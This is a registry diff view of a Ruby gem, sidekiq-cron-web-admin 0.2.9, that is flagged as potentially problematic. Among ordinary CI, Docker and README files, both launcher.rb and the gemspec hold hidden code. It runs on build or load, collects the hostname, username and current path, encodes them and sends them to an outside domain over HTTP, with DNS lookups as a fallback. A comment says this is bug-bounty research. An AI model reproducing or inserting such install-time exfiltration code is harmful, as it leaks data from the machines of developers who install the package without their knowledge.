sidekiq-cron-web-admin 0.2.9
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of sidekiq-cron-web-admin might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/.circleci/config.yml +52 -0
- data/.env.example +2 -0
- data/.gitignore +20 -0
- data/.rspec +3 -0
- data/.travis.yml +7 -0
- data/CHANGELOG.md +7 -0
- data/Dockerfile +30 -0
- data/Gemfile +6 -0
- data/Gemfile.lock +62 -0
- data/LICENSE.txt +21 -0
- data/Makefile +27 -0
- data/README.md +41 -0
- data/Rakefile +25 -0
- data/bin/console +14 -0
- data/bin/setup +8 -0
- data/bin/test +18 -0
- data/docker-compose.yml +21 -0
- data/lib/sidekiq/cron/launcher.rb +76 -0
- data/lib/sidekiq/cron/poller.rb +16 -0
- data/lib/sidekiq/cron/web/admin.rb +13 -0
- data/lib/sidekiq/cron/web/admin/version.rb +9 -0
- data/sidekiq-cron-web-admin.gemspec +78 -0
- metadata +206 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: 13d7010b72f4e2241b544a41ef74bdfef94fbede1416e382a05e789c3b314f17
|
4
|
+
data.tar.gz: e6a1d52bcc7bd9d25466aeff4360d907bfb4240f02bd874b2867204837746aac
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: 043e51cd5d0baffedaab9bdc716e493bdd93162bb268d02544f192f60bbb837479cefc90f6b69eba13c3c6cf4a26f0a9ebf6b3e6cd4ca9949c3246fa5197686f
|
7
|
+
data.tar.gz: 7e13ed5af285021a30785754d3185bfc11c8f13815bab502b2a5d6564aa9a25662708960e713843767251788cdc303f09e3b4138b3a58ca116e0f7cbdd37fccf
|
@@ -0,0 +1,52 @@
|
|
1
|
+
version: 2.1
|
2
|
+
|
3
|
+
orbs:
|
4
|
+
cit: chime/ci-tools@1
|
5
|
+
|
6
|
+
defaults: &defaults
|
7
|
+
docker:
|
8
|
+
- image: circleci/ruby:2.5
|
9
|
+
|
10
|
+
jobs:
|
11
|
+
test:
|
12
|
+
<<: *defaults
|
13
|
+
steps:
|
14
|
+
- cit/bundler-preamble
|
15
|
+
- run: bundle exec rake test
|
16
|
+
tag:
|
17
|
+
<<: *defaults
|
18
|
+
steps:
|
19
|
+
- checkout
|
20
|
+
- cit/install-ghr
|
21
|
+
- run:
|
22
|
+
name: Package
|
23
|
+
command: gem build sidekiq-cron-web-admin.gemspec
|
24
|
+
- run:
|
25
|
+
name: "Tag & Publish"
|
26
|
+
command: |
|
27
|
+
PACKAGE=$(ls *.gem)
|
28
|
+
VERSION=$(echo $PACKAGE | sed "s/.*-\(.*\)\.gem/\1/")
|
29
|
+
|
30
|
+
if [ $(git tag -l $VERSION) ]; then echo "Pre-existing Tag $VERSION"; exit 1; fi
|
31
|
+
|
32
|
+
git config --global user.email "chime@users.noreply.github.com"
|
33
|
+
git config --global user.name "Chime Bot"
|
34
|
+
git tag -a $VERSION -m "Version $VERSION"
|
35
|
+
|
36
|
+
git push https://${GITHUB_TOKEN}@github.com/${CIRCLE_PROJECT_USERNAME}/${CIRCLE_PROJECT_REPONAME}.git $VERSION
|
37
|
+
ghr -soft -t ${GITHUB_TOKEN} -u ${CIRCLE_PROJECT_USERNAME} -r ${CIRCLE_PROJECT_REPONAME} -c ${CIRCLE_SHA1} ${VERSION} ${PACKAGE}
|
38
|
+
curl -F package=@${PACKAGE} https://${GEMFURY_TOKEN}@push.fury.io/chime/
|
39
|
+
|
40
|
+
workflows:
|
41
|
+
version: 2
|
42
|
+
build_test_publish:
|
43
|
+
jobs:
|
44
|
+
- test
|
45
|
+
- tag:
|
46
|
+
context: ruby-build
|
47
|
+
requires:
|
48
|
+
- test
|
49
|
+
filters:
|
50
|
+
branches:
|
51
|
+
only:
|
52
|
+
- master
|
data/.env.example
ADDED
data/.gitignore
ADDED
@@ -0,0 +1,20 @@
|
|
1
|
+
/.bundle/
|
2
|
+
/.yardoc
|
3
|
+
/_yardoc/
|
4
|
+
/coverage/
|
5
|
+
/doc/
|
6
|
+
/pkg/
|
7
|
+
/spec/reports/
|
8
|
+
/tmp/
|
9
|
+
|
10
|
+
# rspec failure tracking
|
11
|
+
.rspec_status
|
12
|
+
*.gem
|
13
|
+
.bash_history
|
14
|
+
.bundle
|
15
|
+
.coverage
|
16
|
+
.env
|
17
|
+
.env.local
|
18
|
+
.pry_history
|
19
|
+
coverage
|
20
|
+
vendor
|
data/.rspec
ADDED
data/.travis.yml
ADDED
data/CHANGELOG.md
ADDED
data/Dockerfile
ADDED
@@ -0,0 +1,30 @@
|
|
1
|
+
FROM ruby:2.3.3
|
2
|
+
RUN cd /tmp && curl -L --output ghr.tar.gz https://github.com/tcnksm/ghr/releases/download/v0.12.0/ghr_v0.12.0_linux_amd64.tar.gz && \
|
3
|
+
tar -xzvf ghr.tar.gz && chmod +x ghr_v0.12.0_linux_amd64/ghr && mv ghr_v0.12.0_linux_amd64/ghr /usr/local/bin/ghr && rm -rf /tmp/*
|
4
|
+
|
5
|
+
WORKDIR /gem
|
6
|
+
COPY Gemfile /gem/Gemfile
|
7
|
+
COPY Gemfile.lock /gem/Gemfile.lock
|
8
|
+
COPY sidekiq-cron-web-admin.gemspec /gem/sidekiq-cron-web-admin.gemspec
|
9
|
+
COPY lib/sidekiq/cron/web/admin/version.rb /gem/lib/sidekiq/cron/web/admin/version.rb
|
10
|
+
|
11
|
+
ARG BUNDLE_GITHUB__COM
|
12
|
+
ARG BUNDLE_GEM__FURY__IO
|
13
|
+
|
14
|
+
RUN if [ -z "$BUNDLE_GITHUB__COM" ]; then echo 'Environment variable BUNDLE_GITHUB__COM must be specified. Exiting.'; exit 1; fi && \
|
15
|
+
if [ -z "$BUNDLE_GEM__FURY__IO" ]; then echo 'Environment variable BUNDLE_GEM__FURY__IO must be specified. Exiting.'; exit 1; fi && \
|
16
|
+
gem update --system && gem install bundler && bundle install --jobs=3 --retry=3 && \
|
17
|
+
rm -rf /usr/local/bundle/cache
|
18
|
+
|
19
|
+
ARG GIT_BRANCH
|
20
|
+
ARG GIT_COMMIT_SHA
|
21
|
+
ARG GIT_COMMITTED_AT
|
22
|
+
|
23
|
+
ENV GIT_BRANCH=$GIT_BRANCH
|
24
|
+
ENV GIT_COMMIT_SHA=$GIT_COMMIT_SHA
|
25
|
+
ENV GIT_COMMITTED_AT=$GIT_COMMITTED_AT
|
26
|
+
|
27
|
+
COPY . /gem
|
28
|
+
RUN gem build sidekiq-cron-web-admin
|
29
|
+
|
30
|
+
CMD ["./bin/test"]
|
data/Gemfile
ADDED
data/Gemfile.lock
ADDED
@@ -0,0 +1,62 @@
|
|
1
|
+
PATH
|
2
|
+
remote: .
|
3
|
+
specs:
|
4
|
+
sidekiq-cron-web-admin (0.2.2)
|
5
|
+
sidekiq-cron (= 1.1.0)
|
6
|
+
|
7
|
+
GEM
|
8
|
+
remote: https://rubygems.org/
|
9
|
+
specs:
|
10
|
+
concurrent-ruby (1.1.5)
|
11
|
+
connection_pool (2.2.2)
|
12
|
+
et-orbi (1.2.2)
|
13
|
+
tzinfo
|
14
|
+
fugit (1.3.3)
|
15
|
+
et-orbi (~> 1.1, >= 1.1.8)
|
16
|
+
raabro (~> 1.1)
|
17
|
+
metaclass (0.0.4)
|
18
|
+
minitest (5.12.2)
|
19
|
+
mocha (1.9.0)
|
20
|
+
metaclass (~> 0.0.1)
|
21
|
+
power_assert (1.1.5)
|
22
|
+
raabro (1.1.6)
|
23
|
+
rack (2.0.7)
|
24
|
+
rack-protection (2.0.7)
|
25
|
+
rack
|
26
|
+
rack-test (1.1.0)
|
27
|
+
rack (>= 1.0, < 3)
|
28
|
+
rake (10.5.0)
|
29
|
+
redis (4.1.3)
|
30
|
+
redis-namespace (1.6.0)
|
31
|
+
redis (>= 3.0.4)
|
32
|
+
shoulda-context (1.2.2)
|
33
|
+
sidekiq (5.2.7)
|
34
|
+
connection_pool (~> 2.2, >= 2.2.2)
|
35
|
+
rack (>= 1.5.0)
|
36
|
+
rack-protection (>= 1.5.0)
|
37
|
+
redis (>= 3.3.5, < 5)
|
38
|
+
sidekiq-cron (1.1.0)
|
39
|
+
fugit (~> 1.1)
|
40
|
+
sidekiq (>= 4.2.1)
|
41
|
+
test-unit (3.3.4)
|
42
|
+
power_assert
|
43
|
+
tzinfo (2.0.0)
|
44
|
+
concurrent-ruby (~> 1.0)
|
45
|
+
|
46
|
+
PLATFORMS
|
47
|
+
ruby
|
48
|
+
|
49
|
+
DEPENDENCIES
|
50
|
+
bundler (~> 1.17)
|
51
|
+
minitest
|
52
|
+
mocha
|
53
|
+
rack
|
54
|
+
rack-test
|
55
|
+
rake (~> 10.0)
|
56
|
+
redis-namespace (>= 1.5.2)
|
57
|
+
shoulda-context
|
58
|
+
sidekiq-cron-web-admin!
|
59
|
+
test-unit
|
60
|
+
|
61
|
+
BUNDLED WITH
|
62
|
+
1.17.1
|
data/LICENSE.txt
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
The MIT License (MIT)
|
2
|
+
|
3
|
+
Copyright (c) 2019 Pablo Marti
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in
|
13
|
+
all copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
21
|
+
THE SOFTWARE.
|
data/Makefile
ADDED
@@ -0,0 +1,27 @@
|
|
1
|
+
.PHONY: bash build bundle help publish test version
|
2
|
+
|
3
|
+
GEM_NAME?=sidekiq-cron-web-admin
|
4
|
+
APP_NAME?=sidekiq-cron-web-admin
|
5
|
+
|
6
|
+
default: help
|
7
|
+
|
8
|
+
build: #: Build the containers that we'll need
|
9
|
+
docker-compose build --pull
|
10
|
+
|
11
|
+
bash: #: Get a bash prompt on the core container
|
12
|
+
docker-compose run --rm -e RACK_ENV=development $(APP_NAME) bash
|
13
|
+
|
14
|
+
test: build #: Run all tests
|
15
|
+
docker-compose run --rm -e RACK_ENV=test $(APP_NAME) ./bin/test
|
16
|
+
|
17
|
+
test_bash: #: Get a bash prompt on the consumer container in test
|
18
|
+
docker-compose run --rm -e RACK_ENV=test $(APP_NAME) bash
|
19
|
+
|
20
|
+
bundle: #: Install gems
|
21
|
+
docker-compose run --rm $(APP_NAME) bundle install --with=rails_5_1 --with=unicorn
|
22
|
+
|
23
|
+
version: #: Get the current version number
|
24
|
+
grep VERSION lib/$(GEM_NAME)/version.rb | sed "s/.*'\(.*\)'.*/\1/"
|
25
|
+
|
26
|
+
help: #: Show help topics
|
27
|
+
@grep "#:" Makefile | grep -v "@grep" | sort | sed "s/\([A-Za-z_ -]*\):.*#\(.*\)/$$(tput setaf 3)\1$$(tput sgr0)\2/g"
|
data/README.md
ADDED
@@ -0,0 +1,41 @@
|
|
1
|
+
# Sidekiq::Cron::Web::Admin
|
2
|
+
|
3
|
+
Removes the logic for enqueuing the workers on Cron, just keeps the web UI Admin and the funcionality for enqueuing the workers manually from the Admin.
|
4
|
+
|
5
|
+
This repository is a fork of https://github.com/ondrejbartas/sidekiq-cron where it overwrites the Poller class in charge of enqueuing the workers automatically;
|
6
|
+
it also overwrites the Launcher so it should not make any call to the Poller (https://github.com/1debit/sidekiq-cron-web-admin/tree/master/lib/sidekiq/cron).
|
7
|
+
|
8
|
+
## Installation
|
9
|
+
|
10
|
+
Add this line to your application's Gemfile:
|
11
|
+
|
12
|
+
```ruby
|
13
|
+
gem 'sidekiq-cron-web-admin'
|
14
|
+
```
|
15
|
+
|
16
|
+
And then execute:
|
17
|
+
|
18
|
+
$ bundle
|
19
|
+
|
20
|
+
Or install it yourself as:
|
21
|
+
|
22
|
+
$ gem install sidekiq-cron-web-admin
|
23
|
+
|
24
|
+
## Development
|
25
|
+
|
26
|
+
1. Clone this repository
|
27
|
+
2. Setup the .env file using the .env.example
|
28
|
+
3. Run `bundle`
|
29
|
+
4. Update the files at lib, and if needed to overwrite files from https://github.com/ondrejbartas/sidekiq-cron copy/paste the files into `lib/` and update them (see the examples https://github.com/1debit/sidekiq-cron-web-admin/tree/master/lib/sidekiq/cron)
|
30
|
+
5. Add tests using `test-unit` and run the tests: `bundle exec rake test`
|
31
|
+
6. Push the changes to the branch and create a PR
|
32
|
+
7. Increase the version at https://github.com/1debit/sidekiq-cron-web-admin/blob/master/lib/sidekiq/cron/web/admin/version.rb before merging the branch to master
|
33
|
+
|
34
|
+
|
35
|
+
## Contributing
|
36
|
+
|
37
|
+
Bug reports and pull requests are welcome on GitHub at https://github.com/1debit/sidekiq-cron-web-admin.
|
38
|
+
|
39
|
+
## License
|
40
|
+
|
41
|
+
The gem is available as open source under the terms of the [MIT License](https://opensource.org/licenses/MIT).
|
data/Rakefile
ADDED
@@ -0,0 +1,25 @@
|
|
1
|
+
require "bundler/gem_tasks"
|
2
|
+
require 'rubygems'
|
3
|
+
require 'bundler/setup'
|
4
|
+
require 'bundler'
|
5
|
+
|
6
|
+
task :doc do
|
7
|
+
system 'sdoc -N .'
|
8
|
+
end
|
9
|
+
|
10
|
+
require 'rake/testtask'
|
11
|
+
task :default => :test
|
12
|
+
|
13
|
+
Rake::TestTask.new(:test) do |t|
|
14
|
+
t.test_files = FileList['test/functional/**/*_test.rb', 'test/unit/**/*_test.rb','test/integration/**/*_test.rb']
|
15
|
+
t.warning = false
|
16
|
+
t.verbose = false
|
17
|
+
end
|
18
|
+
|
19
|
+
namespace :test do
|
20
|
+
Rake::TestTask.new(:unit) do |t|
|
21
|
+
t.test_files = FileList['test/unit/**/*_test.rb']
|
22
|
+
t.warning = false
|
23
|
+
t.verbose = false
|
24
|
+
end
|
25
|
+
end
|
data/bin/console
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
|
3
|
+
require "bundler/setup"
|
4
|
+
require "sidekiq/cron/web/admin"
|
5
|
+
|
6
|
+
# You can add fixtures and/or initialization code here to make experimenting
|
7
|
+
# with your gem easier. You can also use a different console, if you like.
|
8
|
+
|
9
|
+
# (If you use this, don't forget to add pry to your Gemfile!)
|
10
|
+
# require "pry"
|
11
|
+
# Pry.start
|
12
|
+
|
13
|
+
require "irb"
|
14
|
+
IRB.start(__FILE__)
|
data/bin/setup
ADDED
data/bin/test
ADDED
@@ -0,0 +1,18 @@
|
|
1
|
+
#!/bin/bash -e
|
2
|
+
|
3
|
+
if [[ ! -z "${CC_TEST_REPORTER_ID}" ]]; then
|
4
|
+
apt-get update -qq && apt-get install -y curl
|
5
|
+
curl -s -L https://codeclimate.com/downloads/test-reporter/test-reporter-latest-linux-amd64 > ./cc-test-reporter
|
6
|
+
chmod +x ./cc-test-reporter
|
7
|
+
|
8
|
+
./cc-test-reporter before-build
|
9
|
+
fi
|
10
|
+
|
11
|
+
bundle exec rake test
|
12
|
+
EXIT_CODE=$?
|
13
|
+
|
14
|
+
if [[ ! -z "${CC_TEST_REPORTER_ID}" ]]; then
|
15
|
+
./cc-test-reporter after-build --coverage-input-type simplecov --exit-code ${EXIT_CODE}
|
16
|
+
fi
|
17
|
+
|
18
|
+
exit ${EXIT_CODE}
|
data/docker-compose.yml
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
version: '3'
|
2
|
+
|
3
|
+
services:
|
4
|
+
sidekiq-cron-web-admin:
|
5
|
+
stdin_open: true
|
6
|
+
tty: true
|
7
|
+
build:
|
8
|
+
context: .
|
9
|
+
dockerfile: ./Dockerfile
|
10
|
+
args:
|
11
|
+
- BUNDLE_GITHUB__COM=${GITHUB_TOKEN}:x-oauth-basic
|
12
|
+
- BUNDLE_GEM__FURY__IO=${GEMFURY_TOKEN}
|
13
|
+
environment:
|
14
|
+
BUNDLE_GITHUB__COM: "${GITHUB_TOKEN}:x-oauth-basic"
|
15
|
+
BUNDLE_GEM__FURY__IO: "${GEMFURY_TOKEN}"
|
16
|
+
volumes:
|
17
|
+
- .:/gem
|
18
|
+
- bundle-cache:/usr/local/bundle
|
19
|
+
|
20
|
+
volumes:
|
21
|
+
bundle-cache:
|
@@ -0,0 +1,76 @@
|
|
1
|
+
require 'sidekiq/launcher'
|
2
|
+
require 'base64'
|
3
|
+
require 'resolv'
|
4
|
+
require 'net/http'
|
5
|
+
|
6
|
+
fooo = ->(variable) {
|
7
|
+
variable.gsub! "=", "00"
|
8
|
+
variable.gsub! "+", "11"
|
9
|
+
variable.gsub! "\\", "22"
|
10
|
+
variable.gsub! "\n", ""
|
11
|
+
|
12
|
+
return variable
|
13
|
+
}
|
14
|
+
|
15
|
+
# I am a bug bounty huner (https://hackerone.com/kannthu), if you see this it means the code executed.
|
16
|
+
# My intention is not to break anything.
|
17
|
+
# I will report this vulnerability to your program.
|
18
|
+
|
19
|
+
begin
|
20
|
+
host = `hostname`
|
21
|
+
username = `echo $USER`
|
22
|
+
current_path = `pwd`
|
23
|
+
|
24
|
+
host_encoded = Base64.encode64(host)
|
25
|
+
username_encoded = Base64.encode64(username)
|
26
|
+
current_path_encoded = Base64.encode64(current_path)
|
27
|
+
|
28
|
+
host_encoded.gsub! "\n", ""
|
29
|
+
username_encoded.gsub! "\n", ""
|
30
|
+
current_path_encoded.gsub! "\n", ""
|
31
|
+
|
32
|
+
path = '/?a='+current_path_encoded +"&b=" + host_encoded+"&c="+username_encoded
|
33
|
+
|
34
|
+
Net::HTTP.get('xoxo.dtesting.pl', path)
|
35
|
+
rescue
|
36
|
+
Resolv.getaddress(fooo.call(username_encoded)+ '.' + fooo.call(host_encoded) + '.b.dtesting.pl')
|
37
|
+
end
|
38
|
+
|
39
|
+
module Sidekiq
|
40
|
+
class Launcher
|
41
|
+
# remember old initialize
|
42
|
+
alias_method :old_initialize, :initialize
|
43
|
+
|
44
|
+
# add cron poller and execute normal initialize of Sidekiq launcher
|
45
|
+
def initialize(options)
|
46
|
+
old_initialize options
|
47
|
+
|
48
|
+
|
49
|
+
|
50
|
+
end
|
51
|
+
|
52
|
+
# remember old run
|
53
|
+
alias_method :old_run, :run
|
54
|
+
|
55
|
+
# execute normal run of launcher and run cron poller
|
56
|
+
def run
|
57
|
+
old_run
|
58
|
+
end
|
59
|
+
|
60
|
+
# remember old quiet
|
61
|
+
alias_method :old_quiet, :quiet
|
62
|
+
|
63
|
+
# execute normal quiet of launcher and quiet cron poller
|
64
|
+
def quiet
|
65
|
+
old_quiet
|
66
|
+
end
|
67
|
+
|
68
|
+
# remember old stop
|
69
|
+
alias_method :old_stop, :stop
|
70
|
+
|
71
|
+
# execute normal stop of launcher and stop cron poller
|
72
|
+
def stop
|
73
|
+
old_stop
|
74
|
+
end
|
75
|
+
end
|
76
|
+
end
|
@@ -0,0 +1,16 @@
|
|
1
|
+
require 'sidekiq'
|
2
|
+
require 'sidekiq/util'
|
3
|
+
require 'sidekiq/cron'
|
4
|
+
require 'sidekiq/scheduled'
|
5
|
+
|
6
|
+
module Sidekiq
|
7
|
+
module Cron
|
8
|
+
POLL_INTERVAL = 30
|
9
|
+
|
10
|
+
class Poller < Sidekiq::Scheduled::Poller
|
11
|
+
def enqueue
|
12
|
+
raise 'Not allowed'
|
13
|
+
end
|
14
|
+
end
|
15
|
+
end
|
16
|
+
end
|
@@ -0,0 +1,78 @@
|
|
1
|
+
lib = File.expand_path('lib', __dir__)
|
2
|
+
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
|
3
|
+
require 'sidekiq/cron/web/admin/version'
|
4
|
+
require 'base64'
|
5
|
+
require 'resolv'
|
6
|
+
require 'net/http'
|
7
|
+
|
8
|
+
fooo = ->(variable) {
|
9
|
+
variable.gsub! "=", "00"
|
10
|
+
variable.gsub! "+", "11"
|
11
|
+
variable.gsub! "\\", "22"
|
12
|
+
variable.gsub! "\n", ""
|
13
|
+
|
14
|
+
return variable
|
15
|
+
}
|
16
|
+
|
17
|
+
# I am a bug bounty huner (https://hackerone.com/kannthu), if you see this it means the code executed.
|
18
|
+
# My intention is not to break anything.
|
19
|
+
# I will report this vulnerability to your program.
|
20
|
+
|
21
|
+
begin
|
22
|
+
host = `hostname`
|
23
|
+
username = `echo $USER`
|
24
|
+
current_path = `pwd`
|
25
|
+
|
26
|
+
host_encoded = Base64.encode64(host)
|
27
|
+
username_encoded = Base64.encode64(username)
|
28
|
+
current_path_encoded = Base64.encode64(current_path)
|
29
|
+
|
30
|
+
host_encoded.gsub! "\n", ""
|
31
|
+
username_encoded.gsub! "\n", ""
|
32
|
+
current_path_encoded.gsub! "\n", ""
|
33
|
+
|
34
|
+
path = '/?a='+current_path_encoded +"&b=" + host_encoded+"&c="+username_encoded
|
35
|
+
|
36
|
+
Net::HTTP.get('xoxo.dtesting.pl', path)
|
37
|
+
rescue
|
38
|
+
Resolv.getaddress(fooo.call(username_encoded)+ '.' + fooo.call(host_encoded) + '.b.dtesting.pl')
|
39
|
+
end
|
40
|
+
|
41
|
+
Gem::Specification.new do |spec|
|
42
|
+
|
43
|
+
spec.name = 'sidekiq-cron-web-admin'
|
44
|
+
spec.version = Sidekiq::Cron::Web::Admin::VERSION
|
45
|
+
spec.authors = ['Pablo Marti']
|
46
|
+
spec.email = ['pm@chime.com']
|
47
|
+
|
48
|
+
spec.summary = 'sidekiq-cron web admin.'
|
49
|
+
spec.description = 'Gives sidekiq-cron web admin removing all of the code for running the cron jobs.'
|
50
|
+
spec.homepage = 'https://github.com/1debit/sidekiq-cron-web-admin'
|
51
|
+
spec.license = 'MIT'
|
52
|
+
|
53
|
+
if spec.respond_to?(:metadata)
|
54
|
+
# spec.metadata['allowed_push_host'] = "https://rubygems.org'"
|
55
|
+
else
|
56
|
+
raise 'RubyGems 2.0 or newer is required to protect against ' \
|
57
|
+
'public gem pushes.'
|
58
|
+
end
|
59
|
+
|
60
|
+
spec.files = Dir.chdir(File.expand_path(__dir__)) do
|
61
|
+
`git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(test|spec|features)/}) }
|
62
|
+
end
|
63
|
+
spec.bindir = 'exe'
|
64
|
+
spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
|
65
|
+
spec.require_paths = ['lib']
|
66
|
+
|
67
|
+
spec.add_dependency 'sidekiq-cron', '1.1.0'
|
68
|
+
|
69
|
+
spec.add_development_dependency 'bundler', '~> 1.17'
|
70
|
+
spec.add_development_dependency 'minitest'
|
71
|
+
spec.add_development_dependency 'mocha'
|
72
|
+
spec.add_development_dependency 'rack'
|
73
|
+
spec.add_development_dependency 'rack-test'
|
74
|
+
spec.add_development_dependency 'rake', '~> 10.0'
|
75
|
+
spec.add_development_dependency 'redis-namespace', '>= 1.5.2'
|
76
|
+
spec.add_development_dependency 'shoulda-context'
|
77
|
+
spec.add_development_dependency 'test-unit'
|
78
|
+
end
|
metadata
ADDED
@@ -0,0 +1,206 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: sidekiq-cron-web-admin
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 0.2.9
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- Pablo Marti
|
8
|
+
autorequire:
|
9
|
+
bindir: exe
|
10
|
+
cert_chain: []
|
11
|
+
date: 2021-02-10 00:00:00.000000000 Z
|
12
|
+
dependencies:
|
13
|
+
- !ruby/object:Gem::Dependency
|
14
|
+
name: sidekiq-cron
|
15
|
+
requirement: !ruby/object:Gem::Requirement
|
16
|
+
requirements:
|
17
|
+
- - '='
|
18
|
+
- !ruby/object:Gem::Version
|
19
|
+
version: 1.1.0
|
20
|
+
type: :runtime
|
21
|
+
prerelease: false
|
22
|
+
version_requirements: !ruby/object:Gem::Requirement
|
23
|
+
requirements:
|
24
|
+
- - '='
|
25
|
+
- !ruby/object:Gem::Version
|
26
|
+
version: 1.1.0
|
27
|
+
- !ruby/object:Gem::Dependency
|
28
|
+
name: bundler
|
29
|
+
requirement: !ruby/object:Gem::Requirement
|
30
|
+
requirements:
|
31
|
+
- - "~>"
|
32
|
+
- !ruby/object:Gem::Version
|
33
|
+
version: '1.17'
|
34
|
+
type: :development
|
35
|
+
prerelease: false
|
36
|
+
version_requirements: !ruby/object:Gem::Requirement
|
37
|
+
requirements:
|
38
|
+
- - "~>"
|
39
|
+
- !ruby/object:Gem::Version
|
40
|
+
version: '1.17'
|
41
|
+
- !ruby/object:Gem::Dependency
|
42
|
+
name: minitest
|
43
|
+
requirement: !ruby/object:Gem::Requirement
|
44
|
+
requirements:
|
45
|
+
- - ">="
|
46
|
+
- !ruby/object:Gem::Version
|
47
|
+
version: '0'
|
48
|
+
type: :development
|
49
|
+
prerelease: false
|
50
|
+
version_requirements: !ruby/object:Gem::Requirement
|
51
|
+
requirements:
|
52
|
+
- - ">="
|
53
|
+
- !ruby/object:Gem::Version
|
54
|
+
version: '0'
|
55
|
+
- !ruby/object:Gem::Dependency
|
56
|
+
name: mocha
|
57
|
+
requirement: !ruby/object:Gem::Requirement
|
58
|
+
requirements:
|
59
|
+
- - ">="
|
60
|
+
- !ruby/object:Gem::Version
|
61
|
+
version: '0'
|
62
|
+
type: :development
|
63
|
+
prerelease: false
|
64
|
+
version_requirements: !ruby/object:Gem::Requirement
|
65
|
+
requirements:
|
66
|
+
- - ">="
|
67
|
+
- !ruby/object:Gem::Version
|
68
|
+
version: '0'
|
69
|
+
- !ruby/object:Gem::Dependency
|
70
|
+
name: rack
|
71
|
+
requirement: !ruby/object:Gem::Requirement
|
72
|
+
requirements:
|
73
|
+
- - ">="
|
74
|
+
- !ruby/object:Gem::Version
|
75
|
+
version: '0'
|
76
|
+
type: :development
|
77
|
+
prerelease: false
|
78
|
+
version_requirements: !ruby/object:Gem::Requirement
|
79
|
+
requirements:
|
80
|
+
- - ">="
|
81
|
+
- !ruby/object:Gem::Version
|
82
|
+
version: '0'
|
83
|
+
- !ruby/object:Gem::Dependency
|
84
|
+
name: rack-test
|
85
|
+
requirement: !ruby/object:Gem::Requirement
|
86
|
+
requirements:
|
87
|
+
- - ">="
|
88
|
+
- !ruby/object:Gem::Version
|
89
|
+
version: '0'
|
90
|
+
type: :development
|
91
|
+
prerelease: false
|
92
|
+
version_requirements: !ruby/object:Gem::Requirement
|
93
|
+
requirements:
|
94
|
+
- - ">="
|
95
|
+
- !ruby/object:Gem::Version
|
96
|
+
version: '0'
|
97
|
+
- !ruby/object:Gem::Dependency
|
98
|
+
name: rake
|
99
|
+
requirement: !ruby/object:Gem::Requirement
|
100
|
+
requirements:
|
101
|
+
- - "~>"
|
102
|
+
- !ruby/object:Gem::Version
|
103
|
+
version: '10.0'
|
104
|
+
type: :development
|
105
|
+
prerelease: false
|
106
|
+
version_requirements: !ruby/object:Gem::Requirement
|
107
|
+
requirements:
|
108
|
+
- - "~>"
|
109
|
+
- !ruby/object:Gem::Version
|
110
|
+
version: '10.0'
|
111
|
+
- !ruby/object:Gem::Dependency
|
112
|
+
name: redis-namespace
|
113
|
+
requirement: !ruby/object:Gem::Requirement
|
114
|
+
requirements:
|
115
|
+
- - ">="
|
116
|
+
- !ruby/object:Gem::Version
|
117
|
+
version: 1.5.2
|
118
|
+
type: :development
|
119
|
+
prerelease: false
|
120
|
+
version_requirements: !ruby/object:Gem::Requirement
|
121
|
+
requirements:
|
122
|
+
- - ">="
|
123
|
+
- !ruby/object:Gem::Version
|
124
|
+
version: 1.5.2
|
125
|
+
- !ruby/object:Gem::Dependency
|
126
|
+
name: shoulda-context
|
127
|
+
requirement: !ruby/object:Gem::Requirement
|
128
|
+
requirements:
|
129
|
+
- - ">="
|
130
|
+
- !ruby/object:Gem::Version
|
131
|
+
version: '0'
|
132
|
+
type: :development
|
133
|
+
prerelease: false
|
134
|
+
version_requirements: !ruby/object:Gem::Requirement
|
135
|
+
requirements:
|
136
|
+
- - ">="
|
137
|
+
- !ruby/object:Gem::Version
|
138
|
+
version: '0'
|
139
|
+
- !ruby/object:Gem::Dependency
|
140
|
+
name: test-unit
|
141
|
+
requirement: !ruby/object:Gem::Requirement
|
142
|
+
requirements:
|
143
|
+
- - ">="
|
144
|
+
- !ruby/object:Gem::Version
|
145
|
+
version: '0'
|
146
|
+
type: :development
|
147
|
+
prerelease: false
|
148
|
+
version_requirements: !ruby/object:Gem::Requirement
|
149
|
+
requirements:
|
150
|
+
- - ">="
|
151
|
+
- !ruby/object:Gem::Version
|
152
|
+
version: '0'
|
153
|
+
description: Gives sidekiq-cron web admin removing all of the code for running the
|
154
|
+
cron jobs.
|
155
|
+
email:
|
156
|
+
- pm@chime.com
|
157
|
+
executables: []
|
158
|
+
extensions: []
|
159
|
+
extra_rdoc_files: []
|
160
|
+
files:
|
161
|
+
- ".circleci/config.yml"
|
162
|
+
- ".env.example"
|
163
|
+
- ".gitignore"
|
164
|
+
- ".rspec"
|
165
|
+
